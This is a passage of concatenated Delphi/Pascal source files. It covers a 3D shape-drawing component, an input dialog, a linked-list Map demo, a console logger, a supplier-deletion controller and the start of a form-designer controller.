TGLDCylinderParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Radius, Height, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_CONE_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDCone) then
begin
with TGLDCone(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
A := Abs(V1.X - V2.X) / 2;
B := Abs(V1.Z - V2.Z) / 2;
if A > B then BaseRadius := A else BaseRadius := B;
TopRadius := BaseRadius;
if Assigned(FIOFrame) and (FIOFrame is TGLDConeParamsFrame) then
TGLDConeParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
BaseRadius, TopRadius, Height, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_CONE_DRAWING3:
if Assigned(FEditedObject) and (FEditedObject is TGLDCone) then
begin
with TGLDCone(FEditedObject) do
begin
Height := (FMousePositionOnUp.Y - FMousePosition.Y) * 0.01;
Position.Y := Height / 2;
Height := Abs(Height);
if Assigned(FIOFrame) and (FIOFrame is TGLDConeParamsFrame) then
TGLDConeParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
BaseRadius, TopRadius, Height, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_CONE_DRAWING4:
if Assigned(FEditedObject) and (FEditedObject is TGLDCone) then
begin
with TGLDCone(FEditedObject) do
begin
TopRadius := TopRadius + ((FMousePosition.Y - FLastMousePosition.Y) * 0.01);
if TopRadius < 0 then TopRadius := 0;
if Assigned(FIOFrame) and (FIOFrame is TGLDConeParamsFrame) then
TGLDConeParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
BaseRadius, TopRadius, Height, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_SPHERE_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDSphere) then
begin
with TGLDSphere(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
FAllowRender := False;
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
A := Abs(V1.X - V2.X) / 2;
B := Abs(V1.Z - V2.Z) / 2;
if A > B then Radius := A else Radius := B;
if Assigned(FIOFrame) and (FIOFrame is TGLDSphereParamsFrame) then
TGLDSphereParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
Radius, Segments, Sides, StartAngle1, SweepAngle1, StartAngle2, SweepAngle2);
end;
end;
GLD_SYSTEM_STATUS_TORUS_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDTorus) then
begin
with TGLDTorus(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
A := Abs(V1.X - V2.X) / 2;
B := Abs(V1.Z - V2.Z) / 2;
if A > B then Radius1 := A else Radius1 := B;
if Assigned(FIOFrame) and (FIOFrame is TGLDTorusParamsFrame) then
TGLDTorusParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub, Radius1, Radius2,
Segments, Sides, StartAngle1, SweepAngle1, StartAngle2, SweepAngle2);
end;
end;
GLD_SYSTEM_STATUS_TORUS_DRAWING3:
if Assigned(FEditedObject) and (FEditedObject is TGLDTorus) then
begin
with TGLDTorus(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePosition);
A := GLDXLineLength(Position.Vector3f, V1);
Radius2 := Abs(Radius1 - A);
if Assigned(FIOFrame) and (FIOFrame is TGLDTorusParamsFrame) then
TGLDTorusParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub, Radius1, Radius2,
Segments, Sides, StartAngle1, SweepAngle1, StartAngle2, SweepAngle2);
end;
end;
GLD_SYSTEM_STATUS_TUBE_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDTube) then
begin
with TGLDTube(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePositionOnDown);
V2 := FHomeGrid.MouseIntersection(FMousePosition);
Position.Vector3f := GLDXVector3f(
(V1.X + V2.X) / 2, (V1.Y + V2.Y) / 2, (V1.Z + V2.Z) / 2);
A := Abs(V1.X - V2.X) / 2;
B := Abs(V1.Z - V2.Z) / 2;
if A > B then OuterRadius := A else OuterRadius := B;
InnerRadius := OuterRadius - 0.01;
R := OuterRadius;
if Assigned(FIOFrame) and (FIOFrame is TGLDTubeParamsFrame) then
TGLDTubeParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
InnerRadius, OuterRadius, Height, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_TUBE_DRAWING3:
if Assigned(FEditedObject) and (FEditedObject is TGLDTube) then
begin
with TGLDTube(FEditedObject) do
begin
V1 := FHomeGrid.MouseIntersection(FMousePosition);
A := GLDXLineLength(Position.Vector3f, V1);
if A > R then
begin
OuterRadius := A;
InnerRadius := R;
end else
begin
OuterRadius := R;
InnerRadius := A;
end;
if Assigned(FIOFrame) and (FIOFrame is TGLDTubeParamsFrame) then
TGLDTubeParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
InnerRadius, OuterRadius, Height, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_TUBE_DRAWING4:
if Assigned(FEditedObject) and (FEditedObject is TGLDTube) then
begin
with TGLDTube(FEditedObject) do
begin
Height := (FMousePositionOnUp.Y - FMousePosition.Y) * 0.01;
Position.Y := Height / 2;
Height := Abs(Height);
if Assigned(FIOFrame) and (FIOFrame is TGLDTubeParamsFrame) then
TGLDTubeParamsFrame(FIOFrame).SetParams(Name, Color.Color3ub,
InnerRadius, OuterRadius, Height, HeightSegs, CapSegs, Sides, StartAngle, SweepAngle);
end;
end;
GLD_SYSTEM_STATUS_USERCAMERA_DRAWING2:
if Assigned(FEditedObject) and (FEditedObject is TGLDUserCamera) then
begin
with TGLDUserCamera(FEditedObject) do
begin
Target.Vector3f := FHomeGrid.MouseIntersection(FMousePosition);
end;
end;
end;
FAllowRender := True;
DoChange(Self);
end;
end;
procedure TGLDDrawer.MouseUp(Button: TMouseButton; Shift: TShiftState; const Position: TGLDPoint2D);
begin
if not Assigned(Owner) then Exit;
if not (Owner is TGLDSystem) then Exit;
with TGLDSystem(Owner) do
begin
FAllowRender := False;
case FStatus of
GLD_SYSTEM_STATUS_PLANE_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_PLANE_DRAWING1;
GLD_SYSTEM_STATUS_DISK_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_DISK_DRAWING1;
GLD_SYSTEM_STATUS_RING_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_RING_DRAWING3;
GLD_SYSTEM_STATUS_BOX_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_BOX_DRAWING3;
GLD_SYSTEM_STATUS_PYRAMID_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_PYRAMID_DRAWING3;
GLD_SYSTEM_STATUS_CYLINDER_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_CYLINDER_DRAWING3;
GLD_SYSTEM_STATUS_CONE_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_CONE_DRAWING3;
GLD_SYSTEM_STATUS_SPHERE_DRAWING2:
if not FMouseButtons[mbLeft] then
FStatus := GLD_SYSTEM_STATUS_SPHERE_DRAWING1;
GLD_SYSTEM_STATUS_TORUS_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_TORUS_DRAWING3;
GLD_SYSTEM_STATUS_TUBE_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_TUBE_DRAWING3;
GLD_SYSTEM_STATUS_USERCAMERA_DRAWING2:
FStatus := GLD_SYSTEM_STATUS_USERCAMERA_DRAWING1;
end;
FAllowRender := True;
DoChange(Self)
end;
end;
function TGLDDrawer.GetStatus: TGLDSystemStatus;
begin
if Assigned(Owner) and (Owner is TGLDSystem) then
Result := TGLDSystem(Owner).FStatus
else Result := GLD_SYSTEM_STATUS_NONE;
end;
function TGLDDrawer.GetSelectionType: TGLDSelectionType;
begin
if Assigned(Owner) and (Owner is TGLDSystem) then
Result := TGLDSystem(Owner).FSelectionType
else Result := GLD_ST_OBJECTS;
end;
procedure TGLDDrawer.SetSelectionType(Value: TGLDSelectionType);
begin
if Assigned(Owner) and (Owner is TGLDSystem) then
begin
case Value of
GLD_ST_VERTICES,
GLD_ST_POLYGONS:
if Assigned(FEditedObject) and
(FEditedObject is TGLDCustomMesh) then
begin
TGLDCustomMesh(FEditedObject).SelectionType := Value;
TGLDSystem(Owner).FSelectionType := Value;
end;
GLD_ST_OBJECTS:
begin
if Assigned(FEditedObject) and
(FEditedObject is TGLDCustomMesh) then
TGLDCustomMesh(FEditedObject).SelectionType := Value;
TGLDSystem(Owner).FSelectionType := Value;
end;
end;
TGLDSystem(Owner).StartSelection;
TGLDSystem(Owner).DoChange(Self);
end;
end;
procedure TGLDDrawer.SetEditedObject(Value: TGLDVisualObject);
begin
FEditedObject := Value;
FEditedModify := nil;
if Assigned(Owner) and (Owner is TGLDSystem) then
TGLDSystem(Owner).SystemNotification(GLD_SYSTEM_OPERATION_EDITED_OBJECT_CHANGED, FEditedObject);
end;
procedure TGLDDrawer.SetEditedModify(Value: TGLDModify);
begin
FEditedModify := nil;
if not Assigned(Value) then Exit;
if Assigned(FEditedObject) and (FEditedObject.IsEditableObject) then
if TGLDEditableObject(FEditedObject).ModifyList.IndexOf(Value) > 0 then
FEditedModify := Value;
end;
constructor TGLDSystemRenderOptions.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
FRenderMode := GLD_STD_SYSTEMRENDEROPTIONSPARAMS.RenderMode;
FDrawEdges := GLD_STD_SYSTEMRENDEROPTIONSPARAMS.DrawEdges;
FEnableLighting := GLD_STD_SYSTEMRENDEROPTIONSPARAMS.EnableLighting;
FTwoSidedLighting := GLD_STD_SYSTEMRENDEROPTIONSPARAMS.TwoSidedLighting;
FCullFacing := GLD_STD_SYSTEMRENDEROPTIONSPARAMS.CullFacing;
FCullFace := GLD_STD_SYSTEMRENDEROPTIONSPARAMS.CullFace;
end;
destructor TGLDSystemRenderOptions.Destroy;
begin
inherited Destroy;
end;
procedure TGLDSystemRenderOptions.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLDSystemRenderOptions) then Exit;
SetParams(TGLDSystemRenderOptions(Source).GetParams);
end;
procedure TGLDSystemRenderOptions.Apply;
begin
ApplyLighting;
ApplyCullFacing;
end;
procedure TGLDSystemRenderOptions.ApplyPolygonMode;
begin
case FRenderMode of
rmSmooth:
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
rmWireframe,
rmBoundingBox:
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
end;
end;
procedure TGLDSystemRenderOptions.ApplyLighting;
begin
if FEnableLighting then
glEnable(GL_LIGHTING)
else glDisable(GL_LIGHTING);
if FTwoSidedLighting then
glLightModeli(GL_LIGHT_MODEL_TWO_SIDE, GL_TRUE)
else glLightModeli(GL_LIGHT_MODEL_TWO_SIDE, GL_FALSE);
end;
procedure TGLDSystemRenderOptions.ApplyCullFacing;
begin
if FCullFacing then
glEnable(GL_CULL_FACE)
else glDisable(GL_CULL_FACE);
glCullFace(GLD_CULL_FACES[FCullFace]);
end;
class function TGLDSystemRenderOptions.SysClassType: TGLDSysClassType;
begin
Result := GLD_SYSCLASS_SYSTEMRENDEROPTIONS;
end;
procedure TGLDSystemRenderOptions.LoadFromStream(Stream: TStream);
begin
Stream.Read(FRenderMode, SizeOf(TGLDSystemRenderMode));
Stream.Read(FDrawEdges, SizeOf(GLboolean));
Stream.Read(FEnableLighting, SizeOf(GLboolean));
Stream.Read(FTwoSidedLighting, SizeOf(GLboolean));
Stream.Read(FCullFacing, SizeOf(GLboolean));
Stream.Read(FCullFace, SizeOf(TGLDCullFace));
Change;
end;
procedure TGLDSystemRenderOptions.SaveToStream(Stream: TStream);
begin
Stream.Write(FRenderMode, SizeOf(TGLDSystemRenderMode));
Stream.Write(FDrawEdges, SizeOf(GLboolean));
Stream.Write(FEnableLighting, SizeOf(GLboolean));
Stream.Write(FTwoSidedLighting, SizeOf(GLboolean));
Stream.Write(FCullFacing, SizeOf(GLboolean));
Stream.Write(FCullFace, SizeOf(TGLDCullFace));
end;
procedure TGLDSystemRenderOptions.SetRenderMode(Value: TGLDSystemRenderMode);
begin
if FRenderMode = Value then Exit;
FRenderMode := Value;
Change;
end;
procedure TGLDSystemRenderOptions.SetDrawEdges(Value: GLboolean);
begin
if FDrawEdges = Value then Exit;
FDrawEdges := Value;
Change;
end;
procedure TGLDSystemRenderOptions.SetEnableLighting(Value: GLboolean);
begin
if FEnableLighting = Value then Exit;
FEnableLighting := Value;
Change;
end;
procedure TGLDSystemRenderOptions.SetTwoSidedLighting(Value: GLboolean);
begin
if FTwoSidedLighting = Value then Exit;
FTwoSidedLighting := Value;
Change;
end;
procedure TGLDSystemRenderOptions.SetCullFacing(Value: GLboolean);
begin
if FCullFacing = Value then Exit;
FCullFacing := Value;
Change;
end;
procedure TGLDSystemRenderOptions.SetCullFace(Value: TGLDCullFace);
begin
if FCullFace = Value then Exit;
FCullFace := Value;
Change;
end;
function TGLDSystemRenderOptions.GetParams: TGLDSystemRenderOptionsParams;
begin
Result := GLDXSystemRenderOptionsParams(FRenderMode, FDrawEdges,
FEnableLighting, FTwoSidedLighting, FCullFacing, FCullFace);
end;
procedure TGLDSystemRenderOptions.SetParams(Value: TGLDSystemRenderOptionsParams);
begin
if GLDXSystemRenderOptionsParamsEqual(GetParams, Value) then Exit;
FRenderMode := Value.RenderMode;
FDrawEdges := Value.DrawEdges;
FEnableLighting := Value.EnableLighting;
FTwoSidedLighting := Value.TwoSidedLighting;
FCullFacing := Value.CullFacing;
FCullFace := Value.CullFace;
Change;
end;
function GetPixel(const Position: TGLDPoint2D): TGLDColor3ub;
var
Viewport: TGLDViewport;
begin
Result := GLD_COLOR3UB_BLACK;
Viewport := GLDXGetViewport;
glReadPixels(Position.X, Viewport.Height - Position.Y,
1, 1, GL_RGB, GL_UNSIGNED_BYTE, @Result);
end;
procedure Register;
begin
RegisterComponents('GLDraw', [TGLDSystem]);
end;
end.
|
unit uFrmInputBox;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, uDefCom;
type
TfrmInputBox = class(TForm)
lblPrompt: TLabel;
edtInput: TEdit;
btnOK: TBitBtn;
btnCancel: TBitBtn;
procedure FormShow(Sender: TObject);
procedure btnOKClick(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
procedure edtInputKeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
FPrompt: string;
FCaptions: string;
FInputValue: string;
FMaxLen: Integer;
FDataType: TColField;
public
{ Public declarations }
property Captions: string read FCaptions write FCaptions;
property Prompt: string read FPrompt write FPrompt;
property InputValue: string read FInputValue write FInputValue;
property MaxLen: Integer read FMaxLen write FMaxLen;
property DataType: TColField read FDataType write FDataType;
end;
var
frmInputBox: TfrmInputBox;
implementation
uses uOtherIntf;
{$R *.dfm}
procedure TfrmInputBox.FormShow(Sender: TObject);
begin
Caption := Captions;
lblPrompt.Caption := Prompt;
edtInput.Text := InputValue;
edtInput.SetFocus;
edtInput.SelStart := Length(Trim(InputValue));
end;
procedure TfrmInputBox.btnOKClick(Sender: TObject);
begin
ModalResult := mrOk;
end;
procedure TfrmInputBox.btnCancelClick(Sender: TObject);
begin
ModalResult := mrCancel;
end;
procedure TfrmInputBox.edtInputKeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then btnOK.SetFocus;
end;
end.
|
// Heterogenous list operations and Map function demo
{$APPTYPE CONSOLE}
program Map;
uses
SysUtils;
// List definition
type
IData = interface
ToStr: function: string;
Swap: procedure;
end;
TProc = procedure (var D: IData);
PNode = ^TNode;
TNode = record
Data: IData;
Next: PNode;
end;
TList = record
Head, Tail: PNode;
end;
// List methods
procedure Create for L: TList;
begin
L.Head := nil;
L.Tail := nil;
end;
procedure Add for L: TList (var D: IData);
var
N: PNode;
begin
New(N);
N^.Data := D;
N^.Next := nil;
if L.Head = nil then L.Head := N else L.Tail^.Next := N;
L.Tail := N;
end;
procedure Map for L: TList (Proc: TProc);
var
N: PNode;
begin
N := L.Head;
while N <> nil do
begin
Proc(N^.Data);
N := N^.Next;
end;
end;
procedure Destroy for L: TList;
var
N, Next: PNode;
begin
N := L.Head;
while N <> nil do
begin
Next := N^.Next;
Dispose(N^.Data.Self);
Dispose(N);
N := Next;
end;
end;
// Point definition
type
TPoint = record
x, y: Integer;
end;
PPoint = ^TPoint;
// Point methods
function ToStr for P: TPoint: string;
begin
Result := 'Point: (' + IntToStr(P.x) + ', ' + IntToStr(P.y) + ')';
end;
procedure Swap for P: TPoint;
var
Temp: Integer;
begin
Temp := P.x;
P.x := P.y;
P.y := Temp;
end;
// Person definition
type
TPerson = record
Name, Surname: string;
end;
PPerson = ^TPerson;
// Person methods
function ToStr for P: TPerson: string;
begin
Result := 'Person: ' + P.Name + ' ' + P.Surname;
end;
procedure Swap for P: TPerson;
var
Temp: string;
begin
Temp := P.Name;
P.Name := P.Surname;
P.Surname := Temp;
end;
// List processing
procedure Fill(var L: TList);
var
Person: PPerson;
Point: PPoint;
begin
New(Person);
with Person^ do begin Name := 'Washington'; Surname := 'Irving' end;
L.Add(Person^);
New(Point);
with Point^ do begin x := 5; y := 7 end;
L.Add(Point^);
end;
procedure Print(var D: IData);
begin
WriteLn(D.ToStr());
end;
procedure Swap(var D: IData);
begin
D.Swap();
end;
// Main program
var
L: TList;
begin
WriteLn;
WriteLn('Heterogenous list operations and Map function demo');
WriteLn;
L.Create();
Fill(L);
WriteLn('Before swapping:');
WriteLn;
L.Map(@Print);
WriteLn;
WriteLn('After swapping:');
WriteLn;
L.Map(@Swap);
L.Map(@Print);
WriteLn;
L.Destroy();
Writeln('Done.');
ReadLn;
end.
|
unit u_Log;
interface
uses
Classes, Variants, Windows, SysUtils;
procedure log(a_Msg:string; color:integer = 7);
function logExp(a_Exp:boolean; a_Msg:string): boolean;
implementation
procedure log;
var
sTime: TSystemTime;
begin
if not isConsole then exit;
GetLocalTime(sTime);
with sTime do begin
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color);
writeln( Format('[%.2d%.2d %.2d%.2d%.2d] ' + a_Msg,
[wDay,wMonth, wHour,wMinute,wSecond]));
end;
end;
function logExp(a_Exp:boolean; a_Msg:string): boolean;
begin
result := a_Exp;
if a_Exp then
log(a_Msg, 14);
end;
end.
|
unit FornecedorOperacaoExcluir.Controller;
interface
uses Fornecedor.Controller.Interf, Fornecedor.Model.Interf,
TPAGFORNECEDOR.Entidade.Model;
type
TFornecedorOperacaoExcluirController = class(TInterfacedObject,
IFornecedorOperacaoExcluirController)
private
FFornecedorModel: IFornecedorModel;
FRegistro: TTPAGFORNECEDOR;
public
constructor Create;
destructor Destroy; override;
class function New: IFornecedorOperacaoExcluirController;
function fornecedorModel(AValue: IFornecedorModel)
: IFornecedorOperacaoExcluirController;
function fornecedorSelecionado(AValue: TTPAGFORNECEDOR)
: IFornecedorOperacaoExcluirController;
procedure finalizar;
end;
implementation
{ TFornecedorOperacaoExcluirController }
uses FacadeView, Tipos.Controller.Interf, System.SysUtils;
constructor TFornecedorOperacaoExcluirController.Create;
begin
end;
destructor TFornecedorOperacaoExcluirController.Destroy;
begin
inherited;
end;
procedure TFornecedorOperacaoExcluirController.finalizar;
begin
if TFacadeView.New
.MensagensFactory
.exibirMensagem(tmConfirmacao)
.mensagem(format('Deseja excluír o fonecedor %s ?', [FRegistro.NOMEFANTASIA.Value]))
.exibir then
begin
FFornecedorModel.DAO.Delete(FRegistro);
end;
end;
function TFornecedorOperacaoExcluirController.fornecedorModel
(AValue: IFornecedorModel): IFornecedorOperacaoExcluirController;
begin
Result := Self;
FFornecedorModel := AValue;
end;
function TFornecedorOperacaoExcluirController.fornecedorSelecionado
(AValue: TTPAGFORNECEDOR): IFornecedorOperacaoExcluirController;
begin
Result := Self;
FRegistro := AValue;
end;
class function TFornecedorOperacaoExcluirController.New
: IFornecedorOperacaoExcluirController;
begin
Result := Self.Create;
end;
end.
|
{-----------------------------------------------------------------------------
Least-Resistance Designer Library
The Initial Developer of the Original Code is Scott J. Miles
<sjmiles (at) turbophp (dot) com>.
Portions created by Scott J. Miles are
Copyright (C) 2005 Least-Resistance Software.
All Rights Reserved.
-------------------------------------------------------------------------------}
unit DesignController;
interface
uses
Windows, Messages, SysUtils, Classes, Controls, Graphics, Forms, ExtCtrls,
Contnrs,
DesignSurface, DesignHandles;
const
cDesignDefaultHandleWidth = 8;
type
TDesignDragMode = ( dmNone, dmMove, dmResize, dmSelect, dmCreate );
//
TDesignController = class;
//
TDesignMouseTool = class
protected
FDragRect: TRect;
public
procedure MouseDown(Button: TMouseButton; Shift: TShiftState;
X, Y: Integer); virtual; abstract;
procedure MouseMove(Shift: TShiftState; X, Y: Integer); virtual; abstract;
procedure MouseUp(Button: TMouseButton; Shift: TShiftState;
X, Y: Integer); virtual; abstract;
property DragRect: TRect read FDragRect write FDragRect;
end;
//
TDesignGetAddClassEvent = procedure(Sender: TObject;
var ioClass: string) of object;
//
TDesignController = class(TDesignSurface)
private
FAddClass: string;
FClicked: TControl;
FDragRect: TRect;
FDragBounds: TRect;
FDragMode: TDesignDragMode;
FHandles: TObjectList;
FHandleWidth: Integer;
FKeyDownShift: TShiftState;
FMouseIsDown: Boolean;
FMouseTool: TDesignMouseTool;
FOnGetAddClass: TDesignGetAddClassEvent;
FOnSelectionChange: TNotifyEvent;
protected
function DesignKeyDown(inKeycode: Cardinal;
inShift: TShiftState): Boolean; override;
function DesignKeyUp(inKeycode: Cardinal;
inShift: TShiftState): Boolean; override;
function FindHandles(const Value: TControl): TDesignHandles;
function FindControl(inX, inY: Integer): TControl;
function GetCount: Integer;
function GetHandles(inIndex: Integer): TDesignHandles;
function GetSelected: TControl;
function GetSelectedContainer: TWinControl;
function GetSelection(inIndex: Integer): TControl;
function IsSelected(const Value: TControl): Boolean;
procedure AddComponent;
procedure AddToSelection(const Value: TControl);
procedure ClearSelection;
function DesignMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer): Boolean; override;
function DesignMouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer): Boolean; override;
function DesignMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer): Boolean; override;
procedure DragRectToDragBounds;
procedure GetAddClass;
procedure RemoveFromSelection(const Value: TControl);
procedure SelectionChange;
procedure SetActive(const Value: Boolean); override;
procedure SetAddClass(const Value: string);
procedure SetContainer(const Value: TWinControl); override;
procedure SetHandles(inIndex: Integer; const Value: TDesignHandles);
procedure SetHandleWidth(const Value: Integer);
procedure SetOnSelectionChange(const Value: TNotifyEvent);
procedure SetSelected(const Value: TControl);
procedure SetSelection(inIndex: Integer; const Value: TControl);
procedure ShowHideResizeHandles;
procedure ToggleSelection(const Value: TControl);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function ContainerToSelectedContainer(const inPt: TPoint): TPoint;
procedure CopyComponents;
procedure CutComponents;
procedure DeleteComponents;
procedure PasteComponents;
procedure SelectParent;
procedure UpdateDesigner;
property AddClass: string read FAddClass write SetAddClass;
property Count: Integer read GetCount;
property Selection[inIndex: Integer]: TControl read GetSelection
write SetSelection;
property Handles[inIndex: Integer]: TDesignHandles read GetHandles
write SetHandles;
property Selected: TControl read GetSelected write SetSelected;
property SelectedContainer: TWinControl read GetSelectedContainer;
property DragBounds: TRect read FDragBounds write FDragBounds;
published
property HandleWidth: Integer read FHandleWidth
write SetHandleWidth default cDesignDefaultHandleWidth;
property OnGetAddClass: TDesignGetAddClassEvent read FOnGetAddClass
write FOnGetAddClass;
property OnSelectionChange: TNotifyEvent read FOnSelectionChange
write SetOnSelectionChange;
end;
implementation
uses
Clipbrd, DesignUtils, DesignClip, DesignMouse;
{ TDesignController }
constructor TDesignController.Create(AOwner: TComponent);
begin
inherited;
FHandleWidth := cDesignDefaultHandleWidth;
FHandles := TObjectList.Create;
end;
destructor TDesignController.Destroy;
begin
FHandles.Free;
inherited;
end;
procedure TDesignController.SetHandleWidth(const Value: Integer);
begin
FHandleWidth := Value;
UpdateDesigner;
end;
procedure TDesignController.SetContainer(const Value: TWinControl);
begin
ClearSelection;
inherited;
end;
procedure TDesignController.SetActive(const Value: Boolean);
begin
if not (csDestroying in ComponentState) then
ClearSelection;
inherited;
end;
procedure TDesignController.GetAddClass;
begin
if Assigned(OnGetAddClass) then
OnGetAddClass(Self, FAddClass);
end;
procedure TDesignController.SetAddClass(const Value: string);
begin
FAddClass := Value;
end;
procedure TDesignController.SetOnSelectionChange(const Value: TNotifyEvent);
begin
FOnSelectionChange := Value;
end;
procedure TDesignController.SelectionChange;
begin
if Assigned(FOnSelectionChange) then
FOnSelectionChange(Self);
end;
function TDesignController.GetCount: Integer;
begin
Result := FHandles.Count;
end;
function TDesignController.GetHandles(inIndex: Integer): TDesignHandles;
begin
Result := TDesignHandles(FHandles[inIndex]);
end;
procedure TDesignController.SetHandles(inIndex: Integer;
const Value: TDesignHandles);
begin
FHandles[inIndex] := Value;
end;
function TDesignController.GetSelection(inIndex: Integer): TControl;
begin
Result := Handles[inIndex].Selected;
end;
procedure TDesignController.SetSelection(inIndex: Integer;
const Value: TControl);
begin
Handles[inIndex].Selected := Value;
end;
procedure TDesignController.ShowHideResizeHandles;
var
i: Integer;
begin
for i := 0 to Pred(Count) do
with Handles[i] do
begin
Resizeable := (Count = 1);
RepaintHandles;
end;
end;
function TDesignController.FindHandles(const Value: TControl): TDesignHandles;
var
i: Integer;
begin
for i := 0 to Pred(Count) do
begin
Result := Handles[i];
if Result.Selected = Value then
exit;
end;
Result := nil;
end;
function TDesignController.IsSelected(const Value: TControl): Boolean;
begin
Result := FindHandles(Value) <> nil;
end;
procedure TDesignController.ClearSelection;
begin
FHandles.Clear;
end;
procedure TDesignController.AddToSelection(const Value: TControl);
var
h: TDesignHandles;
begin
if Value = nil then
raise Exception.Create('Cannot add a nil selection.');
if not IsSelected(Value) then
begin
h := TDesignHandles.Create(Self);
h.Container := Container;
h.Resizeable := Count = 0;
FHandles.Add(h);
h.Selected := Value;
if (Count = 2) then
ShowHideResizeHandles
else
h.UpdateHandles;
SelectionChange;
end;
end;
procedure TDesignController.RemoveFromSelection(const Value: TControl);
begin
if IsSelected(Value) then
begin
FHandles.Remove(FindHandles(Value));
SelectionChange;
end;
end;
procedure TDesignController.ToggleSelection(const Value: TControl);
begin
if IsSelected(Value) then
RemoveFromSelection(Value)
else
AddToSelection(Value);
end;
function TDesignController.GetSelected: TControl;
begin
if Count > 0 then
Result := Handles[0].Selected
else
Result := nil;
end;
procedure TDesignController.SetSelected(const Value: TControl);
begin
ClearSelection;
if Value <> nil then
AddToSelection(Value);
end;
function TDesignController.FindControl(inX, inY: Integer): TControl;
var
c, c0: TControl;
p: TPoint;
begin
p := Point(inX, inY);
c := Container.ControlAtPos(p, true, true);
while (c <> nil) and (c is TWinControl) do
begin
Dec(p.X, c.Left);
Dec(p.Y, c.Top);
c0 := TWinControl(c).ControlAtPos(p, true, true);
if (c0 = nil) or (c0.Owner <> c.Owner) then
break;
c := c0;
end;
if c = nil then
c := Container
else if (c is TDesignHandle) then
c := TDesignHandles(c.Owner).Selected;
Result := c;
end;
function TDesignController.DesignMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer): Boolean;
var
handleId: TDesignHandleId;
begin
Result := true;
//
if not Container.Focused and Container.CanFocus then
Container.SetFocus;
//
FMouseIsDown := true;
Mouse.Capture := Container.Handle;
//
handleId := dhNone;
if (ssCtrl in Shift) then
// Ctrl-drag selection has highest priority
FDragMode := dmSelect
else begin
if (Count > 0) then
handleId := Handles[0].HitRect(X, Y);
if (handleId <> dhNone) then
begin
FClicked := Handles[0].Selected;
// Resizing is next
FDragMode := dmResize;
end
else begin
FClicked := FindControl(X, Y);
if (FClicked = Container) or (FClicked is TDesignHandle) then
FClicked := nil;
GetAddClass;
if (AddClass <> '') then
// then object creation
FDragMode := dmCreate
else if FClicked <> nil then
// moving is last
FDragMode := dmMove
else
// select by default
FDragMode := dmSelect;
end;
end;
//
if FClicked = nil then
FClicked := Container;
FClicked.Parent.DisableAlign;
//
case FDragMode of
dmSelect, dmCreate:
begin
ClearSelection;
FMouseTool := TDesignBander.Create(Self);
end;
//
dmMove:
begin
if (ssShift in Shift) then
AddToSelection(FClicked)
else if not IsSelected(FClicked) then
Selected := FClicked;
FMouseTool := TDesignMover.Create(Self);
end;
//
dmResize:
begin
Selected := FClicked;
FMouseTool := TDesignSizer.CreateSizer(Self, handleId);
end;
end;
//
if FMouseTool <> nil then
FMouseTool.MouseDown(Button, Shift, X, Y);
end;
function TDesignController.DesignMouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer): Boolean;
const
cCurs: array[TDesignHandleId] of TCursor =
